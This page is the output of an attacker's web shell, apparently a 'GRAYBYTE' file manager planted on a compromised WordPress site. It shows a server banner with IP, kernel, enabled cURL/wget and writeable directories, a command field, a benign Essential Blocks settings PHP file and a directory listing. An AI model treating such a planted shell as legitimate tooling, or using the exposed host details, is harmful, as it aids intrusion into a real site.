GRAYBYTE WORDPRESS FILE MANAGER6853

Server IP : 198.54.121.189 / Your IP : 216.73.216.140
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/essential-blocks/includes/Utils/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/trustyourlawyer.com/wp-content/plugins/essential-blocks/includes/Utils//Settings.php
<?php

namespace EssentialBlocks\Utils;

class Settings
{

    private static $instance;

    public static function get_instance()
    {
        if ( null === static::$instance ) {
            static::$instance = new static();
        }
        return static::$instance;
    }

    public static function get( $key, $default = false )
    {
        return get_option( $key, $default );
    }

    public static function save( $key, $value = '' )
    {
        return update_option( $key, $value );
    }

    public static function save_eb_settings( $key, $value = '' )
    {
        $settings   = get_option( 'eb_settings', [  ] );
        $prev_value = null;

        // If 'all' is passed as the key, replace the entire settings array
        if ( $key === 'all' && ! empty( $value ) && is_string( $value ) ) {
            $prev_value = $settings;
            $settings   = json_decode( wp_unslash( $value ), true );

            // Fires after saving all settings
            do_action( "eb_after_save_all_settings", $settings, $prev_value );

            return update_option( 'eb_settings', $settings );
        }

        if ( isset( $settings[ $key ] ) ) {
            $prev_value = $settings[ $key ];
        }
        if ( empty( $value ) ) {
            unset( $settings[ $key ] );
        } else {
            $settings[ $key ] = $value;
        }
        /**
         * Fires after save a specific settings key
         *
         * @since 4.5.0
         * @param mixed $value current value of settings
         * @param mixed $prev_value previous value of settings
         */
        do_action( "eb_after_save_{$key}_settings", $value, $prev_value );
        return update_option( 'eb_settings', $settings );
    }

    public static function save_eb_write_with_ai( $value )
    {
        return update_option( 'eb_write_with_ai', $value );
    }

    public static function reset_eb_settings( $key )
    {
        $settings   = get_option( 'eb_settings', [  ] );
        $prev_value = null;
        if ( isset( $settings[ $key ] ) ) {
            $prev_value = $settings[ $key ];
            unset( $settings[ $key ] );
        }
        /**
         * Fires after reset a specific settings key
         *
         * @since 4.5.0
         * @param mixed $value current value of settings
         * @param mixed $prev_value previous value of settings
         */
        do_action( "eb_after_reset_{$key}_settings", $prev_value );
        return update_option( 'eb_settings', $settings );
    }

    public static function set_transient( $key, $value, $expiration = null )
    {
        if ( $expiration === null ) {
            $expiration = HOUR_IN_SECONDS * 6;
        }
        return set_transient( $key, $value, $expiration );
    }

    public static function get_transient( $key )
    {
        return get_transient( $key );
    }

    /**
     * Summary of save_integration
     * @param mixed $type
     * @param mixed $data
     * @return bool
     */
    public static function save_integration( $type, $data = null )
    {
        return false;
    }

    /**
     * Summary of save_blocks_option
     * @param mixed $data
     * @return bool
     */
    public static function save_blocks_option( $data = [  ] )
    {
        /**
         * Sanitize Data
         */
        return update_option( 'essential_all_blocks', $data );
    }
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:25
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:25
giriqfky / giriqfky
0644
CSSParser.php
9.003 KB
November 07 2024 12:12:30
giriqfky / giriqfky
0644
Enqueue.php
4.567 KB
February 26 2025 16:22:10
giriqfky / giriqfky
0644
Helper.php
24.929 KB
January 12 2025 17:13:54
giriqfky / giriqfky
0644
HttpRequest.php
2.097 KB
August 09 2023 14:57:00
giriqfky / giriqfky
0644
Installer.php
3.263 KB
January 12 2025 17:13:54
giriqfky / giriqfky
0644
Migrator.php
0.726 KB
August 09 2023 14:57:00
giriqfky / giriqfky
0644
QueryHelper.php
7.188 KB
October 02 2024 10:36:24
giriqfky / giriqfky
0644
Settings.php
3.289 KB
May 08 2025 15:01:12
giriqfky / giriqfky
0644
SvgSanitizer.php
2.466 KB
May 19 2025 15:07:08
giriqfky / giriqfky
0644
TemplateHelpers.php
2.109 KB
August 29 2023 10:12:00
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF